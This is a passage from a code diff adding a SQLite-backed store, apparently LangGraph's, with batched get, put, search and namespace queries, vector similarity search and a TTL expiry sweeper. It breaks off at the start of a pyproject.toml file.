WHERE prefix = ? AND key IN ({",".join(["?"] * len(keys))}) + """ + select_params = (_namespace_to_text(namespace), *keys) + results.append( + PreparedGetQuery(select_query, select_params, namespace, items, "get") + ) + + # Add a TTL refresh query if needed + if ( + refresh_ttl_any + and self.ttl_config + and self.ttl_config.get("refresh_on_read", False) + ): + placeholders = ",".join(["?"] * len(keys)) + update_query = f""" + UPDATE store + SET expires_at = DATETIME(CURRENT_TIMESTAMP, '+' || ttl_minutes || ' minutes') + WHERE prefix = ? + AND key IN ({placeholders}) + AND ttl_minutes IS NOT NULL + """ + update_params = (_namespace_to_text(namespace), *keys) + results.append( + PreparedGetQuery( + update_query, update_params, namespace, items, "refresh" + ) + ) + + return results + + def _prepare_batch_PUT_queries( + self, put_ops: Sequence[tuple[int, PutOp]] + ) -> tuple[ + list[tuple[str, Sequence]], + tuple[str, Sequence[tuple[str, str, str, str]]] | None, + ]: + # Last-write wins + dedupped_ops: dict[tuple[tuple[str, ...], str], PutOp] = {} + for _, op in put_ops: + dedupped_ops[(op.namespace, op.key)] = op + + inserts: list[PutOp] = [] + deletes: list[PutOp] = [] + for op in dedupped_ops.values(): + if op.value is None: + deletes.append(op) + else: + inserts.append(op) + + queries: list[tuple[str, Sequence]] = [] + + if deletes: + namespace_groups: dict[tuple[str, ...], list[str]] = defaultdict(list) + for op in deletes: + namespace_groups[op.namespace].append(op.key) + for namespace, keys in namespace_groups.items(): + placeholders = ",".join(["?" for _ in keys]) + query = ( + f"DELETE FROM store WHERE prefix = ? AND key IN ({placeholders})" + ) + params = (_namespace_to_text(namespace), *keys) + queries.append((query, params)) + + embedding_request: tuple[str, Sequence[tuple[str, str, str, str]]] | None = None + if inserts: + values = [] + insertion_params = [] + vector_values = [] + embedding_request_params = [] + now = datetime.datetime.now(datetime.timezone.utc) + + # First handle main store insertions + for op in inserts: + if op.ttl is None: + expires_at = None + else: + expires_at = now + datetime.timedelta(minutes=op.ttl) + values.append("(?, ?, ?, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, ?, ?)") + insertion_params.extend( + [ + _namespace_to_text(op.namespace), + op.key, + orjson.dumps(cast(dict, op.value)), + expires_at, + op.ttl, + ] + ) + + # Then handle embeddings if configured + if self.index_config: + for op in inserts: + if op.index is False: + continue + value = op.value + ns = _namespace_to_text(op.namespace) + k = op.key + + if op.index is None: + paths = self.index_config["__tokenized_fields"] + else: + paths = [(ix, tokenize_path(ix)) for ix in op.index] + + for path, tokenized_path in paths: + texts = get_text_at_path(value, tokenized_path) + for i, text in enumerate(texts): + pathname = f"{path}.{i}" if len(texts) > 1 else path + vector_values.append( + "(?, ?, ?, ?, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP)" + ) + embedding_request_params.append((ns, k, pathname, text)) + + values_str = ",".join(values) + query = f""" + INSERT OR REPLACE INTO store (prefix, key, value, created_at, updated_at, expires_at, ttl_minutes) + VALUES {values_str} + """ + queries.append((query, insertion_params)) + + if vector_values: + values_str = ",".join(vector_values) + query = f""" + INSERT OR REPLACE INTO store_vectors (prefix, key, field_name, embedding, created_at, updated_at) + VALUES {values_str} + """ + embedding_request = (query, embedding_request_params) + + return queries, embedding_request + + def _prepare_batch_search_queries( + self, search_ops: Sequence[tuple[int, SearchOp]] + ) -> tuple[ + list[ + tuple[str, list[None | str | list[float]], bool] + ], # queries, params, needs_refresh + list[tuple[int, str]], # idx, query_text pairs to embed + ]: + """ + Build per-SearchOp SQL queries (with optional TTL refresh flag) plus embedding requests. + Returns: + - queries: list of (SQL, param_list, needs_ttl_refresh_flag) + - embedding_requests: list of (original_index_in_search_ops, text_query) + """ + queries = [] + embedding_requests = [] + + for idx, (_, op) in enumerate(search_ops): + # Build filter conditions first + filter_params = [] + filter_conditions = [] + if op.filter: + for key, value in op.filter.items(): + _validate_filter_key(key) + + if isinstance(value, dict): + for op_name, val in value.items(): + condition, filter_params_ = self._get_filter_condition( + key, op_name, val + ) + filter_conditions.append(condition) + filter_params.extend(filter_params_) + else: + # SQLite json_extract returns unquoted string values + if isinstance(value, str): + filter_conditions.append( + "json_extract(value, '$." + key + "') = ?" + ) + filter_params.append(value) + elif value is None: + filter_conditions.append( + "json_extract(value, '$." + key + "') IS NULL" + ) + elif isinstance(value, bool): + # SQLite JSON stores booleans as integers + filter_conditions.append( + "json_extract(value, '$." + + key + + "') = " + + ("1" if value else "0") + ) + elif isinstance(value, (int, float)): + # Use parameterized query to handle special floats and large integers + filter_conditions.append( + "json_extract(value, '$." + key + "') = ?" + ) + filter_params.append(float(value)) + else: + # Complex objects (list, dict, …) – compare JSON text + filter_conditions.append( + "json_extract(value, '$." + key + "') = ?" + ) + # orjson.dumps returns bytes → decode to str so SQLite sees TEXT + filter_params.append(orjson.dumps(value).decode()) + + # Vector search branch + if op.query and self.index_config: + embedding_requests.append((idx, op.query)) + + # Choose the similarity function and score expression based on distance type + distance_type = self.index_config.get("distance_type", "cosine") + + if distance_type == "cosine": + score_expr = "1.0 - vec_distance_cosine(sv.embedding, ?)" + elif distance_type == "l2": + score_expr = "vec_distance_L2(sv.embedding, ?)" + elif distance_type == "inner_product": + # For inner product, we want higher values to be better, so negate the result + # since inner product similarity is higher when vectors are more similar + score_expr = "-1 * vec_distance_L1(sv.embedding, ?)" + else: + # Default to cosine similarity + score_expr = "1.0 - vec_distance_cosine(sv.embedding, ?)" + + filter_str = ( + "" + if not filter_conditions + else " AND " + " AND ".join(filter_conditions) + ) + if op.namespace_prefix: + prefix_filter_str = f"WHERE s.prefix LIKE ? {filter_str} " + ns_args: Sequence = (f"{_namespace_to_text(op.namespace_prefix)}%",) + else: + ns_args = () + if filter_str: + prefix_filter_str = f"WHERE {filter_str[5:]} " + else: + prefix_filter_str = "" + + # We use a CTE to compute scores, with a SQLite-compatible approach for distinct results + base_query = f""" + WITH scored AS ( + SELECT s.prefix, s.key, s.value, s.created_at, s.updated_at, s.expires_at, s.ttl_minutes, + {score_expr} AS score + FROM store s + JOIN store_vectors sv ON s.prefix = sv.prefix AND s.key = sv.key + {prefix_filter_str} + ORDER BY score DESC + LIMIT ? + ), + ranked AS ( + SELECT prefix, key, value, created_at, updated_at, expires_at, ttl_minutes, score, + ROW_NUMBER() OVER (PARTITION BY prefix, key ORDER BY score DESC) as rn + FROM scored + ) + SELECT prefix, key, value, created_at, updated_at, expires_at, ttl_minutes, score + FROM ranked + WHERE rn = 1 + ORDER BY score DESC + LIMIT ? + OFFSET ? + """ + params = [ + _PLACEHOLDER, # Vector placeholder + *ns_args, + *filter_params, + op.limit * 2, # Expanded limit for better results + op.limit, + op.offset, + ] + # Regular search branch (no vector search) + else: + base_query = """ + SELECT prefix, key, value, created_at, updated_at, expires_at, ttl_minutes, NULL as score + FROM store + WHERE prefix LIKE ? + """ + params = [f"{_namespace_to_text(op.namespace_prefix)}%"] + + if filter_conditions: + params.extend(filter_params) + base_query += " AND " + " AND ".join(filter_conditions) + + base_query += " ORDER BY updated_at DESC" + base_query += " LIMIT ? OFFSET ?" + params.extend([op.limit, op.offset]) + + # Debug the query + logger.debug(f"Search query: {base_query}") + logger.debug(f"Search params: {params}") + + # Determine if TTL refresh is needed + needs_ttl_refresh = bool( + op.refresh_ttl + and self.ttl_config + and self.ttl_config.get("refresh_on_read", False) + ) + + # The base_query is now the final_sql, and we pass the refresh flag + final_sql = base_query + final_params = params + + queries.append((final_sql, final_params, needs_ttl_refresh)) + + return queries, embedding_requests + + def _get_batch_list_namespaces_queries( + self, + list_ops: Sequence[tuple[int, ListNamespacesOp]], + ) -> list[tuple[str, Sequence]]: + queries: list[tuple[str, Sequence]] = [] + + for _, op in list_ops: + where_clauses: list[str] = [] + params: list[Any] = [] + + if op.match_conditions: + for cond in op.match_conditions: + if cond.match_type == "prefix": + where_clauses.append("prefix LIKE ?") + params.append( + f"{_namespace_to_text(cond.path, handle_wildcards=True)}%" + ) + elif cond.match_type == "suffix": + where_clauses.append("prefix LIKE ?") + params.append( + f"%{_namespace_to_text(cond.path, handle_wildcards=True)}" + ) + else: + logger.warning( + "Unknown match_type in list_namespaces: %s", cond.match_type + ) + + where_sql = f"WHERE {' AND '.join(where_clauses)}" if where_clauses else "" + + if op.max_depth is not None: + query = f""" + WITH RECURSIVE split(original, truncated, remainder, depth) AS ( + SELECT + prefix AS original, + '' AS truncated, + prefix AS remainder, + 0 AS depth + FROM (SELECT DISTINCT prefix FROM store {where_sql}) + + UNION ALL + + SELECT + original, + CASE + WHEN depth = 0 + THEN substr(remainder, + 1, + CASE + WHEN instr(remainder, '.') > 0 + THEN instr(remainder, '.') - 1 + ELSE length(remainder) + END) + ELSE + truncated || '.' || + substr(remainder, + 1, + CASE + WHEN instr(remainder, '.') > 0 + THEN instr(remainder, '.') - 1 + ELSE length(remainder) + END) + END AS truncated, + CASE + WHEN instr(remainder, '.') > 0 + THEN substr(remainder, instr(remainder, '.') + 1) + ELSE '' + END AS remainder, + depth + 1 AS depth + FROM split + WHERE remainder <> '' + AND depth < ? + ) + SELECT DISTINCT truncated AS prefix + FROM split + WHERE depth = ? OR remainder = '' + ORDER BY prefix + LIMIT ? OFFSET ? + """ + params.extend([op.max_depth, op.max_depth, op.limit, op.offset]) + + else: + query = f""" + SELECT DISTINCT prefix + FROM store + {where_sql} + ORDER BY prefix + LIMIT ? OFFSET ? + """ + params.extend([op.limit, op.offset]) + + queries.append((query, tuple(params))) + + return queries + + def _get_filter_condition(self, key: str, op: str, value: Any) -> tuple[str, list]: + """Helper to generate filter conditions.""" + _validate_filter_key(key) + + # We need to properly format values for SQLite JSON extraction comparison + if op == "$eq": + if isinstance(value, str): + return f"json_extract(value, '$.{key}') = ?", [value] + elif value is None: + return f"json_extract(value, '$.{key}') IS NULL", [] + elif isinstance(value, bool): + # SQLite JSON stores booleans as integers + return f"json_extract(value, '$.{key}') = {1 if value else 0}", [] + elif isinstance(value, (int, float)): + # Convert to float to handle inf, -inf, nan, and very large integers + # SQLite REAL can handle these cases better than INTEGER + return f"json_extract(value, '$.{key}') = ?", [float(value)] + else: + return f"json_extract(value, '$.{key}') = ?", [orjson.dumps(value)] + elif op == "$gt": + # For numeric values, SQLite needs to compare as numbers, not strings + if isinstance(value, (int, float)): + # Convert to float to handle special values and very large integers + return f"CAST(json_extract(value, '$.{key}') AS REAL) > ?", [ + float(value) + ] + elif isinstance(value, str): + return f"json_extract(value, '$.{key}') > ?", [value] + else: + return f"json_extract(value, '$.{key}') > ?", [orjson.dumps(value)] + elif op == "$gte": + if isinstance(value, (int, float)): + return f"CAST(json_extract(value, '$.{key}') AS REAL) >= ?", [ + float(value) + ] + elif isinstance(value, str): + return f"json_extract(value, '$.{key}') >= ?", [value] + else: + return f"json_extract(value, '$.{key}') >= ?", [orjson.dumps(value)] + elif op == "$lt": + if isinstance(value, (int, float)): + return f"CAST(json_extract(value, '$.{key}') AS REAL) < ?", [ + float(value) + ] + elif isinstance(value, str): + return f"json_extract(value, '$.{key}') < ?", [value] + else: + return f"json_extract(value, '$.{key}') < ?", [orjson.dumps(value)] + elif op == "$lte": + if isinstance(value, (int, float)): + return f"CAST(json_extract(value, '$.{key}') AS REAL) <= ?", [ + float(value) + ] + elif isinstance(value, str): + return f"json_extract(value, '$.{key}') <= ?", [value] + else: + return f"json_extract(value, '$.{key}') <= ?", [orjson.dumps(value)] + elif op == "$ne": + if isinstance(value, str): + return f"json_extract(value, '$.{key}') != ?", [value] + elif value is None: + return f"json_extract(value, '$.{key}') IS NOT NULL", [] + elif isinstance(value, bool): + return f"json_extract(value, '$.{key}') != {1 if value else 0}", [] + elif isinstance(value, (int, float)): + # Convert to float for consistency + return f"json_extract(value, '$.{key}') != ?", [float(value)] + else: + return f"json_extract(value, '$.{key}') != ?", [orjson.dumps(value)] + else: + raise ValueError(f"Unsupported operator: {op}") + + +class SqliteStore(BaseSqliteStore, BaseStore): + """SQLite-backed store with optional vector search capabilities. + + Examples: + Basic setup and usage: + ```python + from langgraph.store.sqlite import SqliteStore + import sqlite3 + + conn = sqlite3.connect(":memory:") + store = SqliteStore(conn) + store.setup() # Run migrations. Done once + + # Store and retrieve data + store.put(("users", "123"), "prefs", {"theme": "dark"}) + item = store.get(("users", "123"), "prefs") + ``` + + Or using the convenient `from_conn_string` helper: + + ```python + from langgraph.store.sqlite import SqliteStore + + with SqliteStore.from_conn_string(":memory:") as store: + store.setup() + + # Store and retrieve data + store.put(("users", "123"), "prefs", {"theme": "dark"}) + item = store.get(("users", "123"), "prefs") + ``` + + Vector search using LangChain embeddings: + ```python + from langchain.embeddings import OpenAIEmbeddings + from langgraph.store.sqlite import SqliteStore + + with SqliteStore.from_conn_string( + ":memory:", + index={ + "dims": 1536, + "embed": OpenAIEmbeddings(), + "fields": ["text"] # specify which fields to embed + } + ) as store: + store.setup() # Run migrations + + # Store documents + store.put(("docs",), "doc1", {"text": "Python tutorial"}) + store.put(("docs",), "doc2", {"text": "TypeScript guide"}) + store.put(("docs",), "doc3", {"text": "Other guide"}, index=False) # don't index + + # Search by similarity + results = store.search(("docs",), query="programming guides", limit=2) + ``` + + Note: + Semantic search is disabled by default. You can enable it by providing an `index` configuration + when creating the store. Without this configuration, all `index` arguments passed to + `put` or `aput` will have no effect. + + Warning: + Make sure to call `setup()` before first use to create necessary tables and indexes. + """ + + MIGRATIONS = MIGRATIONS + VECTOR_MIGRATIONS = VECTOR_MIGRATIONS + supports_ttl = True + + def __init__( + self, + conn: sqlite3.Connection, + *, + deserializer: ( + Callable[[bytes | str | orjson.Fragment], dict[str, Any]] | None + ) = None, + index: SqliteIndexConfig | None = None, + ttl: TTLConfig | None = None, + ): + super().__init__() + self._deserializer = deserializer + self.conn = conn + self.lock = threading.Lock() + self.is_setup = False + self.index_config = index + if self.index_config: + self.embeddings, self.index_config = _ensure_index_config(self.index_config) + else: + self.embeddings = None + self.ttl_config = ttl + self._ttl_sweeper_thread: threading.Thread | None = None + self._ttl_stop_event = threading.Event() + + def _get_batch_GET_ops_queries( + self, get_ops: Sequence[tuple[int, GetOp]] + ) -> list[PreparedGetQuery]: + """ + Build queries to fetch (and optionally refresh the TTL of) multiple keys per namespace. + + Returns a list of PreparedGetQuery objects, which may include: + - Queries with kind='refresh' for TTL refresh operations + - Queries with kind='get' for data retrieval operations + """ + namespace_groups = defaultdict(list) + refresh_ttls = defaultdict(list) + for idx, op in get_ops: + namespace_groups[op.namespace].append((idx, op.key)) + refresh_ttls[op.namespace].append(getattr(op, "refresh_ttl", False)) + + results = [] + for namespace, items in namespace_groups.items(): + _, keys = zip(*items, strict=False) + this_refresh_ttls = refresh_ttls[namespace] + refresh_ttl_any = any(this_refresh_ttls) + + # Always add the main query to get the data + select_query = f""" + SELECT key, value, created_at, updated_at, expires_at, ttl_minutes + FROM store + WHERE prefix = ? AND key IN ({",".join(["?"] * len(keys))}) + """ + select_params = (_namespace_to_text(namespace), *keys) + results.append( + PreparedGetQuery(select_query, select_params, namespace, items, "get") + ) + + # Add a TTL refresh query if needed + if ( + refresh_ttl_any + and self.ttl_config + and self.ttl_config.get("refresh_on_read", False) + ): + placeholders = ",".join(["?"] * len(keys)) + update_query = f""" + UPDATE store + SET expires_at = DATETIME(CURRENT_TIMESTAMP, '+' || ttl_minutes || ' minutes') + WHERE prefix = ? + AND key IN ({placeholders}) + AND ttl_minutes IS NOT NULL + """ + update_params = (_namespace_to_text(namespace), *keys) + results.append( + PreparedGetQuery( + update_query, update_params, namespace, items, "refresh" + ) + ) + + return results + + def _get_filter_condition(self, key: str, op: str, value: Any) -> tuple[str, list]: + """Helper to generate filter conditions.""" + _validate_filter_key(key) + + # We need to properly format values for SQLite JSON extraction comparison + if op == "$eq": + if isinstance(value, str): + return f"json_extract(value, '$.{key}') = ?", [value] + elif value is None: + return f"json_extract(value, '$.{key}') IS NULL", [] + elif isinstance(value, bool): + # SQLite JSON stores booleans as integers + return f"json_extract(value, '$.{key}') = {1 if value else 0}", [] + elif isinstance(value, (int, float)): + # Convert to float to handle inf, -inf, nan, and very large integers + # SQLite REAL can handle these cases better than INTEGER + return f"json_extract(value, '$.{key}') = ?", [float(value)] + else: + return f"json_extract(value, '$.{key}') = ?", [orjson.dumps(value)] + elif op == "$gt": + # For numeric values, SQLite needs to compare as numbers, not strings + if isinstance(value, (int, float)): + # Convert to float to handle special values and very large integers + return f"CAST(json_extract(value, '$.{key}') AS REAL) > ?", [ + float(value) + ] + elif isinstance(value, str): + return f"json_extract(value, '$.{key}') > ?", [value] + else: + return f"json_extract(value, '$.{key}') > ?", [orjson.dumps(value)] + elif op == "$gte": + if isinstance(value, (int, float)): + return f"CAST(json_extract(value, '$.{key}') AS REAL) >= ?", [ + float(value) + ] + elif isinstance(value, str): + return f"json_extract(value, '$.{key}') >= ?", [value] + else: + return f"json_extract(value, '$.{key}') >= ?", [orjson.dumps(value)] + elif op == "$lt": + if isinstance(value, (int, float)): + return f"CAST(json_extract(value, '$.{key}') AS REAL) < ?", [ + float(value) + ] + elif isinstance(value, str): + return f"json_extract(value, '$.{key}') < ?", [value] + else: + return f"json_extract(value, '$.{key}') < ?", [orjson.dumps(value)] + elif op == "$lte": + if isinstance(value, (int, float)): + return f"CAST(json_extract(value, '$.{key}') AS REAL) <= ?", [ + float(value) + ] + elif isinstance(value, str): + return f"json_extract(value, '$.{key}') <= ?", [value] + else: + return f"json_extract(value, '$.{key}') <= ?", [orjson.dumps(value)] + elif op == "$ne": + if isinstance(value, str): + return f"json_extract(value, '$.{key}') != ?", [value] + elif value is None: + return f"json_extract(value, '$.{key}') IS NOT NULL", [] + elif isinstance(value, bool): + return f"json_extract(value, '$.{key}') != {1 if value else 0}", [] + elif isinstance(value, (int, float)): + # Convert to float for consistency + return f"json_extract(value, '$.{key}') != ?", [float(value)] + else: + return f"json_extract(value, '$.{key}') != ?", [orjson.dumps(value)] + else: + raise ValueError(f"Unsupported operator: {op}") + + @classmethod + @contextmanager + def from_conn_string( + cls, + conn_string: str, + *, + index: SqliteIndexConfig | None = None, + ttl: TTLConfig | None = None, + ) -> Iterator[SqliteStore]: + """Create a new SqliteStore instance from a connection string. + + Args: + conn_string (str): The SQLite connection string. + index (Optional[SqliteIndexConfig]): The index configuration for the store. + ttl (Optional[TTLConfig]): The time-to-live configuration for the store. + + Returns: + SqliteStore: A new SqliteStore instance. + """ + conn = sqlite3.connect( + conn_string, + check_same_thread=False, + isolation_level=None, # autocommit mode + ) + try: + yield cls(conn, index=index, ttl=ttl) + finally: + conn.close() + + @contextmanager + def _cursor(self, *, transaction: bool = True) -> Iterator[sqlite3.Cursor]: + """Create a database cursor as a context manager. + + Args: + transaction (bool): whether to use transaction for the DB operations + """ + if not self.is_setup: + self.setup() + with self.lock: + if transaction: + self.conn.execute("BEGIN") + + cur = self.conn.cursor() + try: + yield cur + finally: + if transaction: + self.conn.execute("COMMIT") + cur.close() + + def setup(self) -> None: + """Set up the store database. + + This method creates the necessary tables in the SQLite database if they don't + already exist and runs database migrations. It should be called before first use. + """ + + with self.lock: + if self.is_setup: + return + # Create migrations table if it doesn't exist + self.conn.executescript( + """ + CREATE TABLE IF NOT EXISTS store_migrations ( + v INTEGER PRIMARY KEY + ) + """ + ) + + # Check current migration version + cur = self.conn.execute( + "SELECT v FROM store_migrations ORDER BY v DESC LIMIT 1" + ) + row = cur.fetchone() + if row is None: + version = -1 + else: + version = row[0] + + # Apply migrations + for v, sql in enumerate(self.MIGRATIONS[version + 1 :], start=version + 1): + self.conn.executescript(sql) + self.conn.execute("INSERT INTO store_migrations (v) VALUES (?)", (v,)) + + # Apply vector migrations if index config is provided + if self.index_config: + # Create vector migrations table if it doesn't exist + self.conn.enable_load_extension(True) + sqlite_vec.load(self.conn) + self.conn.enable_load_extension(False) + self.conn.executescript( + """ + CREATE TABLE IF NOT EXISTS vector_migrations ( + v INTEGER PRIMARY KEY + ) + """ + ) + + # Check current vector migration version + cur = self.conn.execute( + "SELECT v FROM vector_migrations ORDER BY v DESC LIMIT 1" + ) + row = cur.fetchone() + if row is None: + version = -1 + else: + version = row[0] + + # Apply vector migrations + for v, sql in enumerate( + self.VECTOR_MIGRATIONS[version + 1 :], start=version + 1 + ): + self.conn.executescript(sql) + self.conn.execute( + "INSERT INTO vector_migrations (v) VALUES (?)", (v,) + ) + + self.is_setup = True + + def sweep_ttl(self) -> int: + """Delete expired store items based on TTL. + + Returns: + int: The number of deleted items. + """ + with self._cursor() as cur: + cur.execute( + """ + DELETE FROM store + WHERE expires_at IS NOT NULL AND expires_at < CURRENT_TIMESTAMP + """ + ) + deleted_count = cur.rowcount + return deleted_count + + def start_ttl_sweeper( + self, sweep_interval_minutes: int | None = None + ) -> concurrent.futures.Future[None]: + """Periodically delete expired store items based on TTL. + + Returns: + Future that can be waited on or cancelled. + """ + if not self.ttl_config: + future: concurrent.futures.Future[None] = concurrent.futures.Future() + future.set_result(None) + return future + + if self._ttl_sweeper_thread and self._ttl_sweeper_thread.is_alive(): + logger.info("TTL sweeper thread is already running") + # Return a future that can be used to cancel the existing thread + future = concurrent.futures.Future() + future.add_done_callback( + lambda f: self._ttl_stop_event.set() if f.cancelled() else None + ) + return future + + self._ttl_stop_event.clear() + + interval = float( + sweep_interval_minutes or self.ttl_config.get("sweep_interval_minutes") or 5 + ) + logger.info(f"Starting store TTL sweeper with interval {interval} minutes") + + future = concurrent.futures.Future() + + def _sweep_loop() -> None: + try: + while not self._ttl_stop_event.is_set(): + if self._ttl_stop_event.wait(interval * 60): + break + + try: + expired_items = self.sweep_ttl() + if expired_items > 0: + logger.info(f"Store swept {expired_items} expired items") + except Exception as exc: + logger.exception( + "Store TTL sweep iteration failed", exc_info=exc + ) + future.set_result(None) + except Exception as exc: + future.set_exception(exc) + + thread = threading.Thread(target=_sweep_loop, daemon=True, name="ttl-sweeper") + self._ttl_sweeper_thread = thread + thread.start() + + future.add_done_callback( + lambda f: self._ttl_stop_event.set() if f.cancelled() else None + ) + return future + + def stop_ttl_sweeper(self, timeout: float | None = None) -> bool: + """Stop the TTL sweeper thread if it's running. + + Args: + timeout: Maximum time to wait for the thread to stop, in seconds. + If `None`, wait indefinitely. + + Returns: + bool: True if the thread was successfully stopped or wasn't running, + False if the timeout was reached before the thread stopped. + """ + if not self._ttl_sweeper_thread or not self._ttl_sweeper_thread.is_alive(): + return True + + logger.info("Stopping TTL sweeper thread") + self._ttl_stop_event.set() + + self._ttl_sweeper_thread.join(timeout) + success = not self._ttl_sweeper_thread.is_alive() + + if success: + self._ttl_sweeper_thread = None + logger.info("TTL sweeper thread stopped") + else: + logger.warning("Timed out waiting for TTL sweeper thread to stop") + + return success + + def __del__(self) -> None: + """Ensure the TTL sweeper thread is stopped when the object is garbage collected.""" + if hasattr(self, "_ttl_stop_event") and hasattr(self, "_ttl_sweeper_thread"): + self.stop_ttl_sweeper(timeout=0.1) + + def batch(self, ops: Iterable[Op]) -> list[Result]: + """Execute a batch of operations. + + Args: + ops (Iterable[Op]): List of operations to execute + + Returns: + list[Result]: Results of the operations + """ + grouped_ops, num_ops = _group_ops(ops) + results: list[Result] = [None] * num_ops + + with self._cursor(transaction=True) as cur: + if GetOp in grouped_ops: + self._batch_get_ops( + cast(Sequence[tuple[int, GetOp]], grouped_ops[GetOp]), results, cur + ) + + if SearchOp in grouped_ops: + self._batch_search_ops( + cast(Sequence[tuple[int, SearchOp]], grouped_ops[SearchOp]), + results, + cur, + ) + + if ListNamespacesOp in grouped_ops: + self._batch_list_namespaces_ops( + cast( + Sequence[tuple[int, ListNamespacesOp]], + grouped_ops[ListNamespacesOp], + ), + results, + cur, + ) + if PutOp in grouped_ops: + self._batch_put_ops( + cast(Sequence[tuple[int, PutOp]], grouped_ops[PutOp]), cur + ) + + return results + + def _batch_get_ops( + self, + get_ops: Sequence[tuple[int, GetOp]], + results: list[Result], + cur: sqlite3.Cursor, + ) -> None: + # Group all queries by namespace to execute all operations for each namespace together + namespace_queries = defaultdict(list) + for prepared_query in self._get_batch_GET_ops_queries(get_ops): + namespace_queries[prepared_query.namespace].append(prepared_query) + + # Process each namespace's operations + for namespace, queries in namespace_queries.items(): + # Execute TTL refresh queries first + for query in queries: + if query.kind == "refresh": + try: + cur.execute(query.query, query.params) + except Exception as e: + raise ValueError( + f"Error executing TTL refresh: \n{query.query}\n{query.params}\n{e}" + ) from e + + # Then execute GET queries and process results + for query in queries: + if query.kind == "get": + try: + cur.execute(query.query, query.params) + except Exception as e: + raise ValueError( + f"Error executing GET query: \n{query.query}\n{query.params}\n{e}" + ) from e + + rows = cur.fetchall() + key_to_row = { + row[0]: { + "key": row[0], + "value": row[1], + "created_at": row[2], + "updated_at": row[3], + "expires_at": row[4] if len(row) > 4 else None, + "ttl_minutes": row[5] if len(row) > 5 else None, + } + for row in rows + } + + # Process results for this query + for idx, key in query.items: + row = key_to_row.get(key) + if row: + results[idx] = _row_to_item( + namespace, row, loader=self._deserializer + ) + else: + results[idx] = None + + def _batch_put_ops( + self, + put_ops: Sequence[tuple[int, PutOp]], + cur: sqlite3.Cursor, + ) -> None: + queries, embedding_request = self._prepare_batch_PUT_queries(put_ops) + if embedding_request: + if self.embeddings is None: + # Should not get here since the embedding config is required + # to return an embedding_request above + raise ValueError( + "Embedding configuration is required for vector operations " + f"(for semantic search). " + f"Please provide an Embeddings when initializing the {self.__class__.__name__}." + ) + query, txt_params = embedding_request + # Update the params to replace the raw text with the vectors + vectors = self.embeddings.embed_documents( + [param[-1] for param in txt_params] + ) + + # Convert vectors to SQLite-friendly format + vector_params = [] + for (ns, k, pathname, _), vector in zip(txt_params, vectors, strict=False): + vector_params.extend( + [ns, k, pathname, sqlite_vec.serialize_float32(vector)] + ) + + queries.append((query, vector_params)) + + for query, params in queries: + cur.execute(query, params) + + def _batch_search_ops( + self, + search_ops: Sequence[tuple[int, SearchOp]], + results: list[Result], + cur: sqlite3.Cursor, + ) -> None: + prepared_queries, embedding_requests = self._prepare_batch_search_queries( + search_ops + ) + + # Setup similarity functions if they don't exist + if embedding_requests and self.embeddings: + # Generate embeddings for search queries + embeddings = self.embeddings.embed_documents( + [query for _, query in embedding_requests] + ) + + # Replace placeholders with actual embeddings + for (embed_req_idx, _), embedding in zip( + embedding_requests, embeddings, strict=False + ): + if embed_req_idx < len(prepared_queries): + _params_list: list = prepared_queries[embed_req_idx][1] + for i, param in enumerate(_params_list): + if param is _PLACEHOLDER: + _params_list[i] = sqlite_vec.serialize_float32(embedding) + else: + logger.warning( + f"Embedding request index {embed_req_idx} out of bounds for prepared_queries." + ) + + for (original_op_idx, _), (query, params, needs_refresh) in zip( + search_ops, prepared_queries, strict=False + ): + cur.execute(query, params) + rows = cur.fetchall() + + if needs_refresh and rows and self.ttl_config: + keys_to_refresh = [] + for row_data in rows: + keys_to_refresh.append((row_data[0], row_data[1])) + + if keys_to_refresh: + updates_by_prefix = defaultdict(list) + for prefix_text, key_text in keys_to_refresh: + updates_by_prefix[prefix_text].append(key_text) + + for prefix_text, key_list in updates_by_prefix.items(): + placeholders = ",".join(["?"] * len(key_list)) + update_query = f""" + UPDATE store + SET expires_at = DATETIME(CURRENT_TIMESTAMP, '+' || ttl_minutes || ' minutes') + WHERE prefix = ? AND key IN ({placeholders}) AND ttl_minutes IS NOT NULL + """ + update_params = (prefix_text, *key_list) + try: + cur.execute(update_query, update_params) + except Exception as e: + logger.error( + f"Error during TTL refresh update for search: {e}" + ) + + if "score" in query: # Vector search query + items = [ + _row_to_search_item( + _decode_ns_text(row[0]), + { + "key": row[1], + "value": row[2], + "created_at": row[3], + "updated_at": row[4], + "expires_at": row[5] if len(row) > 5 else None, + "ttl_minutes": row[6] if len(row) > 6 else None, + "score": row[7] if len(row) > 7 else None, + }, + loader=self._deserializer, + ) + for row in rows + ] + else: # Regular search query + items = [ + _row_to_search_item( + _decode_ns_text(row[0]), + { + "key": row[1], + "value": row[2], + "created_at": row[3], + "updated_at": row[4], + "expires_at": row[5] if len(row) > 5 else None, + "ttl_minutes": row[6] if len(row) > 6 else None, + }, + loader=self._deserializer, + ) + for row in rows + ] + + results[original_op_idx] = items + + def _batch_list_namespaces_ops( + self, + list_ops: Sequence[tuple[int, ListNamespacesOp]], + results: list[Result], + cur: sqlite3.Cursor, + ) -> None: + queries = self._get_batch_list_namespaces_queries(list_ops) + for (query, params), (idx, _) in zip(queries, list_ops, strict=False): + cur.execute(query, params) + results[idx] = [_decode_ns_text(row[0]) for row in cur.fetchall()] + + async def abatch(self, ops: Iterable[Op]) -> list[Result]: + """Async batch operation - not supported in SqliteStore. + + Use AsyncSqliteStore for async operations. + """ + raise NotImplementedError(_AIO_ERROR_MSG) + + +# Helper functions + + +def _ensure_index_config( + index_config: SqliteIndexConfig, +) -> tuple[Any, SqliteIndexConfig]: + """Process and validate index configuration.""" + index_config = index_config.copy() + tokenized: list[tuple[str, Literal["$"] | list[str]]] = [] + tot = 0 + text_fields = index_config.get("text_fields") or ["$"] + if isinstance(text_fields, str): + text_fields = [text_fields] + if not isinstance(text_fields, list): + raise ValueError(f"Text fields must be a list or a string. Got {text_fields}") + for p in text_fields: + if p == "$": + tokenized.append((p, "$")) + tot += 1 + else: + toks = tokenize_path(p) + tokenized.append((p, toks)) + tot += len(toks) + index_config["__tokenized_fields"] = tokenized + index_config["__estimated_num_vectors"] = tot + embeddings = ensure_embeddings( + index_config.get("embed"), + ) + return embeddings, index_config + + +_PLACEHOLDER = object() diff --git a/libs/checkpoint-sqlite/pyproject.toml b/libs/checkpoint-sqlite/pyproject.toml new file mode 100644 index 0000000..81b88ae --- /dev/null +++ b/libs/checkpoint-sqlite/pyproject.toml @@ -0,0 +1,88 @@ +[build-system] +requires = ["hatchling"] +build-backend = "hatchling.build" + +[project] +name = "langgraph-checkpoint-sqlite" +version = "3.1.0" +description = "Library with a SQLite 